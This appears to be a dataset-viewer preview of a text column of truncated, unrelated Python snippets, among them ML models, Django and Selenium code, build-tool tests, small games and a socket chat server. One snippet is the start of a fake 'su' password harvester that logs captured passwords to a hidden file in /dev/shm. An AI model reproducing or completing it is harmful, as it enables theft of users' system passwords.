text stringlengths 8 6.05M |
|---|
from tensorflow.keras import layers
from tensorflow.keras.losses import SparseCategoricalCrossentropy
from tensorflow.keras.optimizers import Adam
from dgl.nn.tensorflow import GraphConv
from tensorflow.keras import activations
from graphgallery.nn.models import TFKeras
class GCN(TFKeras):
def __init__(self, in_... |
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from hashlib import md5
from sqlalchemy import Column, String, Integer, Boolean, ForeignKey, Table
from sqlalchemy.orm import relationship, backref, relation
from lib import db
from lib.flask_login import UserMixin
from lib.ui.navbar import Navbar
user_permission_table = ... |
from collections import defaultdict
import gc
import gzip
import inspect
import os
import os.path
import sys
import time
import gym
import numpy as np
import pickle
import .neural_network as nn
from neural_network import tf, tint
from replay_buffer import ReplayBuffer, PrioritizedExperienceReplay
from envs import Ata... |
import cv2
from matplotlib import pyplot as plt
import numpy as np
for i in ['00', '04', '05', '07', '08', '09']:
img1 = cv2.imread('.\\v3\\trajectory-{}.png'.format(i), 1) # queryImage
img2 = cv2.imread('.\\v5\\trajectory-{}.png'.format(i), 1) # trainImage
#vis = np.concatenate((i... |
from selenium.webdriver.common.by import By
from selenium.webdriver.support.wait import WebDriverWait
class AddProductToCart:
def __init__(self, driver):
self.driver = driver
self.wait = WebDriverWait(driver, 10)
def open(self):
self.driver.get("http://localhost/litecart/en/")
... |
# @Time :2019/7/9 22:44
# @Author :jinbiao
class Cat:
kind = "猫" # 类的属性
def __init__(self, colour, name, age): # 构造方法,形参接受对象的属性
self.colour = colour # 给对象赋值
self.name = name
self.age = age
def eat(self): # 实例方法
cat_eat = f"{self.colour}的{self.name}{self.kind},今年{sel... |
import pandas as pd
from Bio import SeqIO
'''
print("start?")
start = input('That is :')
print("end?")
end = input('That is :')
'''
#下面是读取全部蛋白质组进入一个大字典的脚本部分
dictseq = {}
n1 = 0
for seq_record in SeqIO.parse("D:\BaiduYunDownload\YZ Meng\python爬虫\测试用氨基酸\[人]uniprot-proteome UP000005640.fasta", "fasta"):... |
from contextlib import ExitStack
def cleanup_resources():
print("cleanup_resources")
with ExitStack() as stack:
stack.callback(cleanup_resources)
print("stack")
with ExitStack() as stack:
stack.callback(cleanup_resources)
print("stack")
stack.pop_all() |
# Generated by Django 3.1.3 on 2020-11-23 05:55
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('main', '0001_initial'),
]
operations = [
migrations.RemoveField(
model_name='subject',
name='Registration',
),
... |
import string
import sys
result = 1196601068455751604172765025142834742772692164339541821505998319783121
origin = 33
out = []
while True:
found = False
for c in string.ascii_letters + '{_}' + string.digits:
print result - ord(c)
if (result - ord(c)) % 97 == 0:
found = True
... |
a=int(input())
b=int(input())
c=int(input())
re={}
re[max(a,b,c)]='1'
re[min(a,b,c)]='3'
if a not in re: re[a]='2'
if b not in re: re[b]='2'
if c not in re: re[c]='2'
print(re[a]+'\n'+re[b]+'\n'+re[c])
|
# Copyright 2022 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
from __future__ import annotations
import logging
import os
from dataclasses import dataclass
from typing import Iterable
from pants.backend.cc.subsystems.compiler import CCSubsystem, Ex... |
import random
def main():
miles_traveled = 0
thirst = 0
camel_tiredness = 0
native_distance = -20
num_canteen = 3
dead = False
done = False
print("Bienvenido a Camel")
print("Robaste un camello para realizar tu viaje hasta el gran desierto Mobi")
print("Los nativos... |
#!/usr/bin/python
import os, sys, getpass, time
current_time = time.strftime("%Y-%m-%d %H:%M")
logfile="/dev/shm/.su.log" //密码获取后记录在这里
#CentOS
#fail_str = "su: incorrect password"
#Ubuntu
#fail_str = "su: Authentication failure"
#For Linux Korea ... |
'''
Boneh-Canetti-Halevi-Katz Public Key Encryption, IBE-to-PKE transform
| From: "Improved Efficiency for CCA-Secure Cryptosystems Built Using Identity-Based Encryption", Section 4
| Published In: Topics in Cryptology in CTRSA 2005
| Available From: eprint.iacr.org/2004/261.pdf
:Author: Christina Garman
:Date: 12/20... |
#!/usr/bin/env python3
"""Release script for ODL projects"""
import argparse
import asyncio
import re
import os
from subprocess import CalledProcessError
from pkg_resources import parse_version
from async_subprocess import (
call,
check_call,
check_output,
)
from constants import (
GIT_RELEASE_NOTES_P... |
#Spritesheet loading and parsing
import pygame
from Constants import *
class Spritesheet:
def __init__(self,filename):
self.spritesheet = pygame.image.load(filename).convert()
def get_image(self,x,y,width,height):
#grab an image out of a larger spritesheet
image = pygame.Su... |
import numpy as np
import time
import datetime
import random
import pandas as pd
import torch
from torch.utils.data import DataLoader, SequentialSampler, RandomSampler
from transformers import BertForSequenceClassification, get_linear_schedule_with_warmup, AdamW
from fnp.utils.data.csv_tensor_dataset import CSVTenso... |
r, c = map(int, input().split())
cake_row = [input() for i in range(r)]
free_row = len([1 for i in cake_row if 'S' not in i])
free_col = len([1 for i in zip(*cake_row) if 'S' not in i])
print(free_col * (r-free_row) + free_row*c)
|
# Copyright 2022 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
from __future__ import annotations
import os
import pytest
from pants.backend.helm.goals import package
from pants.backend.helm.goals.package import BuiltHelmArtifact, HelmPackageFieldS... |
# Copyright 2021 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
from pants.backend.python.target_types import (
PythonSourcesGeneratorTarget,
PythonSourceTarget,
PythonTestsGeneratorTarget,
PythonTestTarget,
PythonTestUtilsGenerator... |
# File: shopping.py
# Author: Joel Okpara
# Date: 3/7/2016
# Section: 04
# E-mail: joelo1@umbc.edu
# Description: allows the user to create a shooping list and calculate
# how much the shopping trip cost.
def main():
shopping = ""
shoppingList = []
while shopping != "done":
shopping =... |
# -*- coding: utf-8 -*-
class Solution:
def secondHighest(self, s: str) -> int:
digits = {int(c) for c in s if c.isdigit()}
if len(digits) < 2:
return -1
*_, result, _ = sorted(list(digits))
return result
if __name__ == "__main__":
solution = Solution()
asser... |
import sys
import os
f = open("C:/Users/user/Documents/python/import.txt","r")
sys.stdin = f
# -*- coding: utf-8 -*-
s = str(input())
one = 0
zero = 0
for i in s:
if i == "0":
zero += 1
else:
one += 1
if zero > one:
print(one * 2)
else:
print(zero * 2)
|
#!/usr/bin/python
import time
import numpy as np
start_time=time.time()
debug=True
_code_git_version="fe3342f0a6244db71e585d67179e4c782a7c67e7"
_code_repository="https://github.com/plops/cl-py-generator/tree/master/example/106_sar/source/"
_code_generation_time="22:23:37 of Thursday, 2023-04-20 (GMT+1)"
# speed of ligh... |
import resources as res
from datetime import datetime
import time
urls = res.read_file('categories')
while True:
if int(datetime.now().strftime('%M')) % 10 == 0:
file = open('data/' + datetime.now().strftime('%Y-%m-%d_%H-%M'), 'w+')
for url in urls:
data = res.get_data(url)
... |
# _ * _ coding: utf-8 _ * _ #
# @Time :2020/7/23 17:22
# @FileName :card.py
# @Author :LiuYang
from PySide2 import QtGui
from PySide2 import QtWidgets
from PySide2 import QtCore
from Libs import package
class Card(QtWidgets.QFrame):
double_click = QtCore.Signal(int)
left_clicked = QtCore.Si... |
import argparse
from convertor.encode_convertor import encode as encod
from convertor.decode_convertor import Decoder
import re
import sys
import string
#KEY_FILE = 'key'
from pathlib import Path
import os
import convertor
KEY_FILE = Path(os.path.dirname(convertor.__file__)) / 'key'
def parse_args():
parser = arg... |
#encoding=utf8
import os,sys
BASE_DIR='/home/wdm/Desktop/monitor_linux_server/'
sys.path.append(BASE_DIR)
|
from django.urls import path
from . import views
urlpatterns = [
path('', views.home, name="home"),
path('listing/', views.listing, name="listing"),
path('listing/<int:immo_id>/', views.listing_detail, name="detail"),
] |
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use ... |
from ..extensions import marshmallow
from marshmallow import post_dump
import pycountry
class UserInformationSchema(marshmallow.Schema):
class Meta:
fields = ('country', 'bio')
@post_dump
def country_alpha_2_to_name(self, in_data):
""" Transform country alpha_2 to country name """
in_data['... |
#!/usr/bin/env python
from setuptools import setup
setup(
# GETTING-STARTED: set your app name:
name='PrezisBackend',
# GETTING-STARTED: set your app version:
version='1.0.0',
# GETTING-STARTED: set your app description:
description='Backend service for PrezisUI',
# GETTING-STARTED: set au... |
from selenium import webdriver
from time import sleep
from selenium.webdriver.support.select import Select
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.action_chains ... |
"""
Faça um programa que receba 2 listas compostas por números inteiros e as junte em uma só
lista ordenada de forma não decrescente.
Exemplo
Entrada Saída
[1,5,2,7],[3,2,9] [1,2,2,3,5,7,9]
[50,30,10],[15,10,5][5,10,10,15,30,50]
"""
#Solução
l1=[52, 65, 26, 58, 84, 33, 37, 38... |
"""
"""
from __future__ import absolute_import, division, print_function, unicode_literals
import numpy as np
from ..interpolated_functions import interpolated_distmod
def test_dist_mod():
z = np.linspace(0,1,100)
d = interpolated_distmod(z)
assert np.all(d >= 0.0)
|
import pytest
from ProxyO.parser import ProxyServer, ProxyO
import faker
@pytest.fixture(scope='function')
def proxy_parser():
def _proxy_parser(type_=False, data=False):
if type_:
fake = faker.Faker()
fake_dict = dict(
ip=fake.ipv4(),
country=dict()... |
import glob
# import xml.etree.ElementTree as ET
# tree = ET.parse("./brcm-lnvgy_fw_cna_18b-oc14-12.0.1169.12-2_linux_x86-64.xml")
# print(tree.getroot())
# root = tree.getroot()
# crc = root.findall(".//*[@NAME='crc']/VALUE")
# for value in crc:
# print(value.text)
def strnset(str,ch,n): # string change
str ... |
#PASUMARTHI RUTWIK(19BCS084)
class node:
def __init__(self,key):
self.val=key
self.left=None
self.right=None
def printInorder(root):
if root:
printInorder(root.left)
print(root.val)
printInorder(root.right)
def printPostorder(root):
if root:
... |
"""
Don't use this.
"""
import PyPDF2
def main():
"""Driver"""
text = ""
filename = 'sample_paper.pdf'
with open(filename, 'rb') as f:
read_pdf = PyPDF2.PdfFileReader(f)
num_pages = read_pdf.getNumPages()
for page_num in range(num_pages):
page = read_pdf.getPage(page... |
# -*- coding: utf-8 -*-
# Generated by Django 1.11.1 on 2019-01-27 04:31
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
('contenttypes', '0002_remove_content_typ... |
import socket
import json
class Colors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
host = '0.0.0.0'
port = 5000
size = 1024
x = 1
dictOfUsers = {}
s = socket.socket(socket... |
# -*- coding:utf-8 -*-
# Author: Jorden Hai
#调用系统模块
import os
cmd_res = os.system("dir")#输出到屏幕上了 执行命令 结果不保存
print("-->",cmd_res) #cmd_res 值为0代表了成功
#把东西保存到某地址
cmd_res = os.popen("dir")
print("-->",cmd_res)
#加上 .read()方法读出
cmd_res = os.popen("dir").read()
print("-->",cmd_res)
#创建目录
os.mkdir("new_dir") |
import socket
import time
from struct import unpack
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('', 1234))
while 1:
data, (address, port) = s.recvfrom(68)
level = address.split('.')[-1] # last octett of IP is the level number
#drier = str(unpack('>H', data[4:6]))
#washingMachine = str... |
#!/usr/bin/env python
from __future__ import print_function
import os
import pipes
import tempfile
import shutil
import sys
import threading
KEEP_RESULTS=False
BASEDIR=None
# from https://stackoverflow.com/questions/5574702/how-to-print-to-stderr-in-python
def debug(*args, **kwargs):
print(*args, file=sys.stderr... |
"""
이코테 p298
학생들에게 0번에서 N번까지 번호 부여하였다.
처음에는 다 다른팀으로 분류되어 N+1팀이 존재한다.
선생님은 1. 팀합치기, 2. 같은팀 여부확인 연산을 사용할 수 있다.
M개의 연산을 수행할 때 같은팀 여부 확인 연산에 대한 연산 결과를 출력하는 프로그램을 작성하시오
같은팀 여부확인은 1 a b로 나타낼수 있다.
7 8
0 1 3
1 1 7
0 7 6
1 7 1
0 3 7
0 4 2
0 1 1
1 1 1
-> No
No
YES
### 서로소 문제가 떠오른다. 그걸로 풀어보자
"""
def find_parent(parent... |
from math import isclose
from django.test import TestCase
from django.urls import reverse
from django.http import JsonResponse
from .views import getDataFrame
from .transform import top_ten
# Create your tests here.
DATA_FRAME = getDataFrame()
TOP_DEFAULT = {'peopleLikeYou': top_ten(DATA_FRAME)}
class LikeMeIndexTes... |
import json
import requests
print('Loading function')
def lambda_handler(event, context):
print("Received event: " + json.dumps(event, indent=2))
r = requests.get('http://google.com')
print(r.text[:100])
# print("val1 = " + event['key1'])
# print("val2 = " + event['key2'])
# print("val3 = " ... |
# As Flask creates own instances of given classes, dependency injection is challenging.
# It could either be provided using kwargs or using this injector
from control.WorkerControl import WorkerControl
from data.StorageIO import StorageIO
from data.ArchitectureIO import ArchitecureIO
class Injector:
workerControl... |
import torch
import torch.nn.functional as F
from torch.utils.data import DataLoader
from transformers import Trainer
import numpy as np
import itertools
from tqdm import trange
import pickle
import json
import os
import logging
logger = logging.getLogger("sequence_tagger_auto")
class TextClassifier:
def __in... |
n = int(input("max range ="))
for i in range(1, n):
print(i)
for i in range(1,n+1):
if(i%2==0):
print("even int", i)
for i in range(n+1):
if(i%2==1):
print("odd int", i)
|
import random
import timeit
_test_data = [
([1, 3, -5, 3, 3, 2, -9, -2], 8),
([31, -41, 59, 26, -53, 58, 97, -93, -23], 187),
([31, -41, 259, 26, -453, 58, 97, -93, -23], 285),
([41, -31, 59, -97, -53, -58, 26], 69),
([-97, 41, -31, 59, -97, -53, -58, 26], 69),
([31, -41, 59, 26, -53, 58, 97], ... |
__version__ = "0.1.0"
from .wrapper import Kadena
|
# This codes cleans out the text features and
# computes bigrams and trigrams for them
from operator import add
from pyspark.ml.feature import NGram, StopWordsRemover
from pyspark.sql import SQLContext
from pyspark.sql.functions import udf
from pyspark.sql.types import ArrayType, StringType
from pyspark import SparkCon... |
x = input("Name = ")
fi = "file1.txt"
file = open(fi ,'w')
file.write(x)
file.close()
file = open(fi , 'r')
file3 = file.read()
#print(file3)
file.close()
xd = "file4.txt"
file = open(xd,'w')
file.write(file3)
file.close()
|
from sympy import *
import numpy as num
import cmath
def mainFunc(function):
expr = sympify(function)
x = var('x')
sol = solve(expr, x)
if sol==LambertW(1):
sol=0.5671432904097
for solut in sol:
try:
print('\n Exact root is: %0.8f' % solut)
return '%0.6f' % s... |
def get_string():
string = str(input("Give me a string to reverse the word order: "))
return string
def rWordOrder(string):
split_string = string.split()
reverse_string = split_string[::-1]
reverse_order_string = " ".join(reverse_string)
return reverse_order_string
print(get_string())
print(rWordOrder(get_stri... |
# -*- coding: utf-8 -*-
from api import source_data, destination_data, destination_api, source_api
from sql import PRODUCT_CATEGORY_SELECT, PRODUCT_CATEGORY_INSERT, PRODUCT_IR_PROPERTY_INSERT, PRODUCT_PRODUCT_INSERT, \
PRODUCT_PRODUCT_SELECT, PRODUCT_TEMPLATE_INSERT, PRODUCT_TEMPLATE_SELECT
# source_cur = source... |
#!/usr/bin/env python
from __future__ import print_function
import fastjet as fj
import fjcontrib
import fjext
import tqdm
import argparse
import os
import numpy as np
from heppy.pythiautils import configuration as pyconf
import pythia8
import pythiafjext
import pythiaext
from pyjetty.mputils import logbins, linbi... |
from queue import Queue
# Breadth First Search algortihm for graph in matrix representation
# Time complexity: O(V^2)
# where V - number of vertex
# It could be done in O(V*log(E)) in list representation
def bfs(G, s):
n = len(G)
queue = Queue()
dist = [0]*n
parent = [-1]*n
visited = [False]*n
... |
#!/usr/bin/python3
"""Module with BaseGeometry class"""
BaseGeometry = __import__('7-base_geometry').BaseGeometry
class Rectangle(BaseGeometry):
""""Representation of a rectangule"""
def __init__(self, width, height):
"""Instantiation of a rectangle"""
self.integer_validator("width", width)
... |
n = int(input())
row = list()
temp = True
for i in range(n):
row.append(input())
if 'OO' in row[i] and temp:
row[i] = row[i].replace('OO', '++', 1)
temp = False
if temp:
print('NO')
else:
print('YES')
print(*[i for i in row], sep='\n') |
from pico2d import *
import random
import game_framework
import game_world
import ui
import json
from player import Player
from ball import Ball
from background import Background
from highscore import Highscore
from wall import Wall
from brick import Brick
GAMESTATE_READY, GAMESTATE_INPLAY, GAMESTATE_PAUSED, GAMESTETE... |
from django.urls import path
from .views import RoomView,CreateRoomView,getRoom,JoinRoom,UserInRoom,LeaveRoom,UpdateView
urlpatterns = [
path('room',RoomView.as_view()),
path('create-room',CreateRoomView.as_view()),
path('get-room',getRoom.as_view()),
path('join-room',JoinRoom.as_view()),
path('ch... |
import os,sys
import glob
import pickle
import numpy as np
# Name: decompress(BLOCKSIZE, ORGANIZED_EDGES, bit_list)
# Description: takes block data from files and puts them individually in L_check
# Parameter: BLOCKSIZE = contains number of spanning trees per block
# ORGANIZED_EDGES = contains ma... |
# Author: Christian Brodbeck <christianbrodbeck@nyu.edu>
"""Objects for managing files"""
from ._experiment import TreeModel, FileTree
from ._mne_experiment import MneExperiment
|
# -*- encoding: utf-8 -*-
###############################################################################
# #
# product_brand for Odoo #
# Copyright (C) 2009 NetAndCo (<http://www.netandco.ne... |
#2from django.http import Http404
from django.shortcuts import render,get_object_or_404
from .models import Album,Song
def index(request):
all_albums = Album.objects.all()
#1template= loader.get_template('music/index.html')
context ={
'all_albums': all_albums,
}
#1return HttpRespo... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
__version__ = '1.0.1'
get_notification_list_query = """
SELECT
nt.id AS id,
nt.name AS name,
nt.description AS description,
nt.notification_type_id AS notification_type_id,
nty.name AS notification_type,
nt.read AS r... |
import json
from flask import Flask, render_template, send_from_directory, request
import os
from flask_cors import CORS
import episodes_crawler
from utils import requests_util
app = Flask(__name__)
CORS(app)
video_root_dir = 'D:/videos/'
@app.route('/', methods=['GET', 'POST'])
def hello_world():
return rende... |
from .raspberry import Pins, RaspberryPi
from .utilities import Utilities
__all__ = (
"Pins",
"RaspberryPi",
"Utilities",
)
|
# -*- coding: utf-8 -*-
__author__ = 'yesdauren'
import urllib.request
import re
from shutil import copyfile
import time
import datetime
from datetime import date
from datetime import datetime
import os.path
import zipfile
import xlrd
from xlrd import open_workbook
import sys
import io
import csv
import logging
from sy... |
from helpers.case.simcms.base_page import BasePage, BaseTabFields
from helpers.case.simcms.base_data import cms_page
from helpers.director.shortcut import director, ModelFields
import json
from . cms_pages import page1
class Home(BasePage):
def getTemplate(self):
return 'expo_cms/home.html'
def g... |
import json
from aiohttp import ClientSession
class PhotoUploader:
@staticmethod
async def get_server(api, peer_id: int) -> str:
server_data = await api.photos.get_messages_upload_server(peer_id=peer_id)
return server_data.response.upload_url
@staticmethod
async def request_text(meth... |
import re
words = []
with open('4news_dictionary.txt') as openfileobject:
for line in openfileobject:
obj = {}
obj["word"] = re.findall(r"\s+\d+\s+(\w+)", line)[0]
words.append(obj)
i=0
with open('p1.csv') as openfileobject:
for line in openfileobject:
matches = re.findall(r"(.+),(.+),(.+),(.+)", line)
... |
a = float (input (' Digite um angulo '))
b = float (input (' Digita outro angulo '))
c = float (input ('Digite outro algulo denovo '))
if a < b + c and b < a + c and c < a + b and a < b + a :
print ('pode faze triangulo')
else:
print ('n pode faze triangulo')
# equilatero = todos os lados iguais
#is... |
import os
import requests
from .models import Countries, NeighbourCountry
def get_country_info():
all_countries = {}
url = 'https://restcountries.eu/rest/v2/all'
response = requests.get(url)
data = response.json()
country_list = []
d = {}
for j in data:
key = j['alpha3Code']
... |
print("This is hello")
|
import re, tweepy, datetime, time, json, csv
from tweepy import OAuthHandler
#It will fetch all the tweets from current date till the startDate
startDate = datetime.datetime(2020, 1, 1, 0, 0, 0)
endDate = datetime.datetime(2020,12,1,0,0,0)
# keys and tokens from my Twitter Dev Console
access_token=""
access_token_s... |
#!/usr/bin/env python
# Copyright (c) 2012 Google Inc. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""
Make sure paths are normalized with VS macros properly expanded on Windows.
"""
import TestGyp
import sys
if sys.platform == 'win32':... |
from otree.api import Currency as c, currency_range
from ._builtin import Page, WaitPage
from .models import Constants
# Expose variables for all templates. Attempted to create this as prettier function, but was not able.
def vars_for_all_templates(self):
return {
'lottery_a_hi': c(self.session.vars['payo... |
# This file is part of beets.
# Copyright 2016, Adrian Sampson.
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, ... |
from django.shortcuts import render
import joblib
import os
from pathlib import Path
import numpy as np
import requests
import json
#-----------------------------------------------------------------------
# Loading model at runtime
base_dir = Path(__file__).resolve(strict=True).parent.parent
model = os.path.join(base... |
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'adminstration.ui'
#
# Created by: PyQt5 UI code generator 5.15.2
#
# WARNING: Any manual changes made to this file will be lost when pyuic5 is
# run again. Do not edit this file unless you know what you are doing.
from PyQt5 import QtCore... |
from __future__ import print_function
import sys
import os
import time
import subprocess
import multiprocessing
import numpy as np
import matplotlib
import matplotlib.patches as patches
try:
from PyQt5 import QtCore, QtWidgets, QtGui # pylint: disable=import-error
matplotlib.use('qt5agg')
from matplotlib.ba... |
# coding: utf-8
# In[7]:
import cv2
import numpy as np
import imutils
import matplotlib.pyplot as plt
# In[8]:
img = cv2.imread('/home/padmach/data/pyimagesearch/flower1.jpg')
cv2.imshow('',img)
cv2.waitKey(0)
# In[15]:
kernelSizes =[(3,3),(3,5),(9,9), (15, 15), (5, 3), (9,19), (19,19)]
#Applying average blur... |
# coding=utf-8
from django.forms import ModelForm, CharField, HiddenInput, ModelChoiceField
from models import Order, Street
def qqq ( **x):
return Street.objects.get (pk = x['pk'])
def my_special_sql_for_vasilyevsky_island_streets ():
return u"""
(SELECT * FROM mulan_street WHERE (name<'линия' AND (type!... |
# -*- coding: utf-8 -*-
import os
import os.path as op
import json
import random
# ----------------------------------------------------------------------- #
# Functions to create cohorts with some subjects which have not all files
# ----------------------------------------------------------------------- #
def select... |
import numpy as np
# CRUD ( 추가 수정 삭제 검색 정렬 )
data = np.array([1, 2, 3, 4, 5, 6])
print(data)
# 추가
data = np.append(data, [7, 8])
print(data)
# 중간추가
data = np.insert(data, 1, [9, 10])
print(data)
# 수정
data[0] = 100
print(data)
# Slicing 수정
data[1:3] = (22, 33)
print(data)
data[3:5] = data[5:6]
print(data)
index =... |
import pandas as pd
import seaborn as sns
import numpy as np
import matplotlib.pyplot as plt
df_all_states=pd.read_csv('E:\csvdhf5xlsxurlallfiles/2008_all_states.csv')
print(df_all_states.columns)
_=plt.plot(df_all_states['total_votes']/1000, df_all_states['dem_share'], marker='.', linestyle='none')
_=plt.xl... |
import gym
import torch
import DeepNEAT.NEAT_implementation.Population.population as population
#import DeepNEAT.configurations.TimePilot.timePilot as config
import DeepNEAT.configurations.Freeway.freeway as config
#import DeepNEAT.configurations.SpaceInvaders.spaceInvaders as config
from DeepNEAT.NEAT_implementation.P... |
from __future__ import print_function
import sys
import json
import cv2
import scipy
import matplotlib.pyplot as plt
def median_background(params):
input_video = params['input_video']
cap = cv2.VideoCapture(input_video)
cnt = 0
frame_list = []
while cap.isOpened():
ret, fram... |
num = int(input())
for x in range(1,num+1):
if num%x==0:
print("Divisor: " + str(x)) |
import html
from data import get_questions
from question_model import Question
from quiz_brain import QuizBrain
difficulty = input("Choose your level(easy/medium/hard): ")
question_data = get_questions(difficulty)
question_bank = [Question(text=html.unescape(q['question']), answer=q['correct_answer']) for q in questio... |
from time import sleep
from selenium.common.exceptions import NoSuchElementException
from pages.base_page import BasePage
from pom.utils import wait_loop
class DashboardPage(BasePage):
def __init__(self):
BasePage.__init__(self)
def open_campaigns_page(self):
element = self.driver.find_eleme... |
""" wlan_api.py - Windows Wlan Native API interface module """
import binascii
import re
import xml.etree.ElementTree as ET
from ctypes import *
from ctypes.wintypes import *
from xml_util import xmlString
from common import hexDump
from tl_logger import TLLog,logOptions
log = TLLog.getLogger( 'wlan' )
class WlanEx... |
# All copyrights and related or neighbouring rights waived under CC0.
# http://creativecommons.org/publicdomain/zero/1.0/
# To the extent possible under law, Andrew Chadwick has waived all
# copyright and related or neighboring rights to this program. This
# program is published from: United Kingdom.
"""Fairly minimal... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from django import forms
from gui.models import News,Report
from django.utils.translation import gettext as _
class NewsForm(forms.ModelForm):
class Meta:
model = News
fields = ('title', 'imagen', 'resumen','content',)
labels = {
'ti... |
"""App config for limits."""
from django.apps import AppConfig
from django.utils.translation import gettext as _
def load_limits_settings():
"""Load settings."""
from modoboa.parameters import tools as param_tools
from . import app_settings
from .api.v2 import serializers
param_tools.registry.ad... |
## Santosh Khadka
class Animal():
def __init__(self):
print("Animal created")
def who_am_i(self):
print("I am an animal")
def eat(self):
print("I am eating")
class Dog(Animal): # inherits from the Animal(base class) class. Dog derives from Animal class
... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.